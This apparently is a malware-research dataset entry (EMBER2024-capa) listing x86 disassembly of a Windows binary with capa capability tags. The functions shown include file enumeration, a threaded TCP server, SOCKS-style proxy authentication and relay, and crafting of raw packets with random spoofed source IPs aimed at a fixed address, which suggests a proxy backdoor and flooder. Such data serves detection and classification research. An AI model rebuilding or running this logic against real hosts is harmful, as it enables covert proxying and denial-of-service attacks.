joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404ac3
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov eax, 0x45d189
call fcn.0045c8d0
sub esp, 0x468
push ebx
push esi
push 0x104
lea eax, [ebp - 0x370]
push 0
mov ebx, ecx
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp byte [eax + esi - 1], 0x5c
mov dword [ebp - 0x10], 0x48a190
jne 0x404b0c
mov dword [ebp - 0x10], 0x49bf30
push dword [ebp - 0x10]
lea eax, [ebp - 0x370]
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push str._s_s.
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x370]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
jne 0x404b4a
xor al, al
jmp 0x404c1c
push edi
mov edi, str._s_s_s
cmp byte [ebp - 0x13c], 0x2e
je 0x404bf8
lea eax, [ebp - 0x13c]
test byte [ebp - 0x168], 0x10
push eax
push dword [ebp - 0x10]
push dword [ebp + 8]
push edi
je 0x404b90
lea eax, [ebp - 0x474]
push eax
call esi
add esp, 0x14
lea eax, [ebp - 0x474]
mov ecx, ebx
push eax
call fcn.00404ac3
jmp 0x404bf8
lea eax, [ebp - 0x26c]
push eax
call esi
mov al, byte [ebp + 0xb]
add esp, 0x14
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x24], al
push 0
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x26c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
mov eax, dword [ebx + 0x118]
lea ecx, [ebx + 0x114]
and dword [ebp - 4], 0
lea edx, [ebp - 0x24]
push edx
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00404fb7
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x168]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x404b50
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov al, 1
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x404e10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0
mov edi, ecx
mov eax, dword [esi]
push 0x80
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
push 3
mov dword [ebp + 8], eax
push 0
push 2
lea eax, [edi + 0x124]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea eax, [ebp - 8]
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
add esi, 8
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 8]
push 4
add dword [ebp + 8], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0x14], 0x17
call sub.MSVCRT.dll_memcpy
lea eax, [ebp + 8]
push 4
push eax
lea eax, [ebp - 0xf]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
lea eax, [ebp - 0x14]
mov ecx, edi
push 9
push eax
call fcn.0040a931
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x405d28
Capabilities:
Create thread
Send data
Send data on socket
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
push esi
push edi
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
and dword [ebp - 4], 0
mov esi, 0x49c150
stosw word es:[edi], ax
push esi
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
push esi
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov ebx, dword [ebp + 0x10]
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push ebx
call fcn.00405c2e
pop ecx
test eax, eax
pop ecx
je 0x405e84
mov edi, dword [ebp + 8]
cmp eax, 1
je 0x405ded
cmp eax, 2
je 0x405ded
cmp eax, 3
je 0x405ded
cmp eax, 4
jne 0x405e54
mov ecx, dword [ebp + 0x14]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10c]
push eax
mov eax, dword [ebp - 8]
sub ecx, eax
add eax, ebx
push ecx
push eax
call fcn.00405bb8
push dword [ebp - 4]
lea eax, [ebp - 0x10c]
push eax
lea eax, [edi + 4]
push eax
call fcn.004061fc
add esp, 0x1c
test eax, eax
je 0x405e84
mov esi, str.HTTP_1.0_200_OK_r_n_r_n
push 0
push esi
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push esi
push dword [edi]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x405e54
push dword [ebp - 8]
mov esi, dword [ebp + 0x14]
push esi
push ebx
push dword [ebp + 0xc]
call fcn.00405cae
add esp, 0x10
mov dword [ebp + 0x14], eax
test eax, eax
je 0x405e84
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10c]
push eax
mov eax, dword [ebp - 8]
sub esi, eax
sub esi, 7
lea eax, [eax + ebx + 7]
push esi
push eax
call fcn.00405bb8
push dword [ebp - 4]
lea eax, [ebp - 0x10c]
lea esi, [edi + 4]
push eax
push esi
call fcn.004061fc
add esp, 0x1c
test eax, eax
je 0x405e84
push 0
push dword [ebp + 0x14]
push dword [ebp + 0xc]
push dword [esi]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x405e84
xor esi, esi
cmp dword [edi], esi
je 0x405e84
cmp dword [edi + 4], esi
je 0x405e84
lea eax, [ebp - 0xc]
push eax
push esi
push edi
push 0x406b27
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp eax, esi
je 0x405e7f
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push 1
pop eax
jmp 0x405e86
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405e8b
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
and byte [ebp - 1], 0
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov byte [ebp - 2], 5
mov al, byte [esi]
cmp al, 5
je 0x405eb0
movzx eax, al
jmp 0x405fe3
mov al, byte [esi + 2]
test al, al
je 0x405ebf
cmp al, 2
jne 0x405fdc
push 0x49c6b0
call sub.MSVCRT.dll_strlen
neg eax
mov ebx, dword [ebp + 8]
pop ecx
sbb al, al
push 0
and eax, 2
push 2
mov byte [ebp - 1], al
lea eax, [ebp - 2]
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x405fdc
cmp byte [ebp - 1], 2
jne 0x405fe0
mov edi, 0x100
lea eax, [ebp - 0x104]
push edi
push 0
push eax
call sub.MSVCRT.dll_memset
push edi
lea eax, [ebp - 0x204]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
push 0
push 0x5000
push esi
push dword [ebx]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x405fdc
test eax, eax
je 0x405fdc
cmp byte [esi], 1
jne 0x405fdc
mov al, byte [esi + 1]
test al, al
je 0x405f6c
movzx eax, al
cmp eax, edi
jg 0x405f6c
push eax
lea eax, [esi + 2]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
movzx eax, byte [esi + 1]
movsx ecx, byte [eax + esi + 2]
add eax, esi
test ecx, ecx
je 0x405f93
cmp ecx, edi
jg 0x405f93
add eax, 3
push ecx
push eax
lea eax, [ebp - 0x204]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
push 0x49c6b0
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x405fc6
lea eax, [ebp - 0x204]
push eax
push 0x49c7b0
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x405fc6
and byte [esi + 1], al
jmp 0x405fca
or byte [esi + 1], 0xff
push 0
push 2
push esi
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x405fe0
xor eax, eax
jmp 0x405fe3
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405fe8
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x49bf30
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebx, dword [ebp + 8]
mov esi, eax
test esi, esi
je 0x40604b
and dword [ebp + 8], 0
mov eax, dword [esi + 0xc]
mov ecx, dword [ebp + 8]
xor edi, edi
cmp dword [eax + ecx], edi
je 0x40604b
and byte [ebx], 0
cmp word [esi + 0xa], di
jle 0x406045
test edi, edi
jle 0x406030
push 0x48a248
push ebx
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x10]
push eax
push ebx
call sub.MSVCRT.dll_strcat
movsx eax, word [esi + 0xa]
inc edi
pop ecx
cmp edi, eax
pop ecx
jl 0x40601f
add dword [ebp + 8], 4
jmp 0x406009
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret

Function at 0x406052
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x406061
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret
Function at 0x4061fc
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
push 0x10
lea eax, [ebp - 0x14]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov word [ebp - 0x14], 2
push dword [ebp + 0x10]
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [ebp + 0xc]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
push edi
mov word [ebp - 0x12], ax
call esi
cmp eax, 0xffffffff
push edi
jne 0x40624b
call fcn.00406052
test eax, eax
pop ecx
je 0x40629f
push edi
call fcn.00406052
pop ecx
push eax
call esi
push 6
push 1
push 2
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [ebp + 8]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x40629f
lea ecx, [ebp - 4]
push 4
push ecx
push 0x1006
push 0xffff
push eax
mov dword [ebp - 4], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4062a5
push dword [esi]
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
leave
ret
push 1
pop eax
jmp 0x4062a1

Function at 0x4062aa
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
push dword [ebp + 0x10]
push esi
push edi
call fcn.00405e8b
add esp, 0xc
test eax, eax
je 0x40633b
cmp eax, 4
jne 0x4062e8
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push 2
push dword [ebp + 0x10]
push esi
call fcn.0040606f
add esp, 0x14
neg eax
sbb eax, eax
and eax, 4
jmp 0x40633d
push 0
push 0x5000
push esi
push dword [edi]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40633b
test eax, eax
je 0x40633b
cmp byte [esi], 5
jne 0x40633b
mov cl, byte [esi + 3]
cmp cl, 1
je 0x406313
cmp cl, 3
jne 0x40633b
push dword [ebp + 0x18]
movzx ecx, cl
push dword [ebp + 0x14]
push ecx
push eax
push esi
call fcn.0040606f
add esp, 0x14
test eax, eax
je 0x40633b
mov al, byte [esi + 1]
cmp al, 1
je 0x406336
cmp al, 3
jne 0x40633b
movzx eax, al
jmp 0x40633d
xor eax, eax
pop edi
pop esi
pop ebp
ret
Function at 0x406341
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push edi
xor edi, edi
push 0x10
lea eax, [ebp - 0x24]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0x10
mov word [ebp - 0x14], 2
mov dword [ebp - 0x10], edi
push 0x11
push 2
push 2
mov word [ebp - 0x12], di
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x406395
lea eax, [ebp - 0x14]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x406399
xor eax, eax
jmp 0x4063d2
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x124]
push eax
call fcn.00405fe8
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp + 8]
push 1
mov dword [ecx + 4], eax
mov ax, word [ebp - 0x22]
mov word [ecx + 8], ax
pop eax
pop edi
leave
ret

Function at 0x406673
Capabilities:
Create tcp socket
Create thread
Initialize winsock library
Start tcp server

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push ebx
push esi
lea eax, [ebp - 0x1a4]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4066ee
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4066ee
xor eax, eax
lea edi, [ebp - 0xe]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ax, word [0x49c140]
mov word [ebp - 0x10], 2
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
xor esi, esi
push eax
push ebx
mov dword [ebp - 0xc], esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x4066ee
push 0x32
push ebx
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x4066f2
xor eax, eax
jmp 0x406744
cmp dword [0x49c9b0], esi
je 0x406741
push esi
push esi
push ebx
call dword [sym.imp.WS2_32.dll_accept]
push 8
mov edi, eax
call dword [sym.imp.MSVCRT.dll_malloc]
cmp eax, esi
pop ecx
je 0x4066f2
lea ecx, [ebp - 0x14]
mov dword [eax], edi
push ecx
push esi
push eax
push 0x4063d5
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp eax, esi
jne 0x406738
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x4066f2
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x4066f2
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4068bc
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
xor esi, esi
test edi, edi
jle 0x4068f2
push dword [ebp + 0x18]
mov eax, dword [ebp + 0xc]
add eax, esi
push dword [ebp + 0x14]
push 0
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x4068ed
sub edi, eax
add esi, eax
jmp 0x4068c6
or eax, 0xffffffff
jmp 0x4068f4
mov eax, esi
pop edi
pop esi
pop ebp
ret
Function at 0x4072a0
Capabilities:
Resolve dns

Disassembly:
push esi
xor esi, esi
push dword [esp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x4072bc
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
test eax, eax
je 0x4072bc
mov esi, dword [eax]
mov eax, esi
pop esi
ret

Function at 0x4072f3
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x407352
push dword [ebp + 8]
call fcn.004072a0
test eax, eax
pop ecx
jne 0x407323
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x407357
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x407359
mov eax, esi
pop esi
leave
ret

Function at 0x407452
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 8]
xor esi, esi
cmp eax, 0xffffffff
jne 0x407494
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x4074a0
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 0xc]
or dword [0x48a400], 0xffffffff
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
push ebx
mov ebx, dword [ebp + 0x14]
mov dword [0x48a3f4], eax
mov eax, dword [ebp + 0x10]
cmp ebx, esi
mov dword [0x48a3f8], eax
mov dword [0x49c038], esi
jle 0x4074e5
push esi
push esi
push esi
push 0x40735c
push esi
push esi
call edi
inc dword [0x49c038]
cmp dword [0x49c038], ebx
jl 0x4074cb
cmp dword [0x48a3f8], esi
pop ebx
je 0x4074fa
push esi
push esi
push esi
push 0x4072c0
push esi
push esi
call edi
pop edi
pop esi
pop ebp
ret
Function at 0x4075f4
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c4
push ebx
push esi
push edi
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov esi, dword [sym.imp.MSVCRT.dll_rand]
pop ecx
pop ecx
call esi
cdq
mov ecx, 0x200
idiv ecx
lea eax, [ebp - 0x1c4]
push eax
push 0x202
mov dword [ebp - 0x20], edx
call dword [sym.imp.WS2_32.dll_WSAStartup]
and byte [ebp - 0x34], 0
xor eax, eax
lea edi, [ebp - 0x33]
push 0x14
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x34]
push 0
push eax
call sub.MSVCRT.dll_memset
mov ebx, 0x400
lea eax, [ebp - 0x5c4]
push ebx
push dword [ebp - 0x20]
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
mov dword [0x49c9b8], 0x41c
call esi
mov edi, 0xfa
cdq
mov ecx, edi
idiv ecx
inc edx
push edx
call esi
cdq
mov ecx, edi
idiv ecx
inc edx
push edx
call esi
cdq
mov ecx, edi
idiv ecx
inc edx
push edx
call esi
cdq
idiv edi
lea eax, [ebp - 0x34]
inc edx
push edx
push str._d._d._d._d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ax, word [0x49c9b8]
mov edi, dword [sym.imp.WS2_32.dll_htons]
and byte [ebp - 0x1b], 0
add esp, 0x18
mov byte [ebp - 0x1c], 0x45
push eax
call edi
mov word [ebp - 0x1a], ax
xor eax, eax
mov word [ebp - 0x18], ax
mov word [ebp - 0x16], ax
mov byte [ebp - 0x14], 0x80
push str.192.168.1.2
mov byte [ebp - 0x13], 0x11
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xc], eax
call esi
cdq
mov ecx, 0xea60
idiv ecx
inc edx
push edx
call edi
mov word [ebp - 8], ax
mov ax, word [0x48a3f4]
push eax
call edi
push 0x408
mov word [ebp - 6], ax
call edi
mov word [ebp - 4], ax
lea eax, [ebp - 0x34]
xor edi, edi
push eax
mov word [ebp - 2], di
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x43c
mov esi, 0x49c16c
push edi
push esi
mov dword [ebp - 0x10], eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x10]
push 4
push eax
push esi
mov word [ebp - 2], di
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0xc]
push 4
push eax
push 0x49c170
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x13]
push 1
push eax
push 0x49c175
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 4]
push 2
push eax
push 0x49c176
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 8]
push 8
push eax
push 0x49c178
call sub.MSVCRT.dll_memcpy
add esp, 0x48
lea eax, [ebp - 0x5c4]
mov edi, 0x49c180
push ebx
push eax
push edi
call sub.MSVCRT.dll_memcpy
push 0x414
push esi
call fcn.00406f3e
mov word [ebp - 2], ax
lea eax, [ebp - 0x1c]
push 0x14
push eax
push esi
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 8]
push 8
push eax
push edi
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x5c4]
push ebx
push eax
push 0x49c188
call sub.MSVCRT.dll_memcpy
add esp, 0x38
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4077e2
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 8]
xor esi, esi
cmp eax, 0xffffffff
jne 0x407824
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x407830
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 0xc]
or dword [0x48a400], 0xffffffff
mov dword [0x48a3f4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov dword [0x48a3f8], eax
call fcn.004075f4
mov ebx, dword [ebp + 0x14]
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp ebx, esi
mov dword [0x49c038], esi
jle 0x40787a
push esi
push esi
push esi
push 0x4074fe
push esi
push esi
call edi
inc dword [0x49c038]
cmp dword [0x49c038], ebx
jl 0x407860
cmp dword [0x48a3f8], esi
pop ebx
je 0x40788f
push esi
push esi
push esi
push 0x4072c0
push esi
push esi
call edi
pop edi
pop esi
pop ebp
ret

Function at 0x407945
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 8]
xor esi, esi
cmp eax, 0xffffffff
jne 0x407987
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x407993
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 0xc]
or dword [0x48a400], 0xffffffff
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
push ebx
mov ebx, dword [ebp + 0x14]
mov dword [0x48a3f4], eax
mov eax, dword [ebp + 0x10]
cmp ebx, esi
mov dword [0x48a3f8], eax
mov dword [0x49c038], esi
jle 0x4079d8
push esi
push esi
push esi
push 0x407893
push esi
push esi
call edi
inc dword [0x49c038]
cmp dword [0x49c038], ebx
jl 0x4079be
cmp dword [0x48a3f8], esi
pop ebx
je 0x4079ed
push esi
push esi
push esi
push 0x4072c0
push esi
push esi
call edi
pop edi
pop esi
pop ebp
ret
Function at 0x407bef
Capabilities:
Create thread
Resolve dns

Disassembly:
mov eax, 0x45d29c
call fcn.0045c8d0
push ecx
push ebx
push esi
push dword [ebp + 8]
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString_2
xor ebx, ebx
push 7
push ebx
lea ecx, [ebp + 8]
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::Delete
mov esi, 0x48a5dc
lea ecx, [ebp + 8]
push esi
call sub.MFC42.DLL_CString::Find
push eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Left
push eax
mov ecx, 0x49c144
mov byte [ebp - 4], 1
call fcn.0045c84c
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push esi
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Find
push eax
push ebx
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Delete
lea eax, [ebp + 8]
mov ecx, 0x49c6a8
push eax
call fcn.0045c84c
push dword [0x49c144]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [0x49c144]
cmp eax, 0xffffffff
jne 0x407cae
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
je 0x407cba
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x10]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp - 0x10]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 0xc]
or dword [0x48a400], 0xffffffff
mov esi, dword [sym.imp.KERNEL32.DLL_CreateThread]
push edi
mov edi, dword [ebp + 0x14]
mov dword [0x48a3f4], eax
mov eax, dword [ebp + 0x10]
cmp edi, ebx
mov dword [0x48a3f8], eax
mov dword [0x49c038], ebx
jle 0x407cff
push ebx
push ebx
push ebx
push 0x4079f1
push ebx
push ebx
call esi
inc dword [0x49c038]
cmp dword [0x49c038], edi
jl 0x407ce5
cmp dword [0x48a3f8], ebx
pop edi
je 0x407d14
push ebx
push ebx
push ebx
push 0x4072c0
push ebx
push ebx
call esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret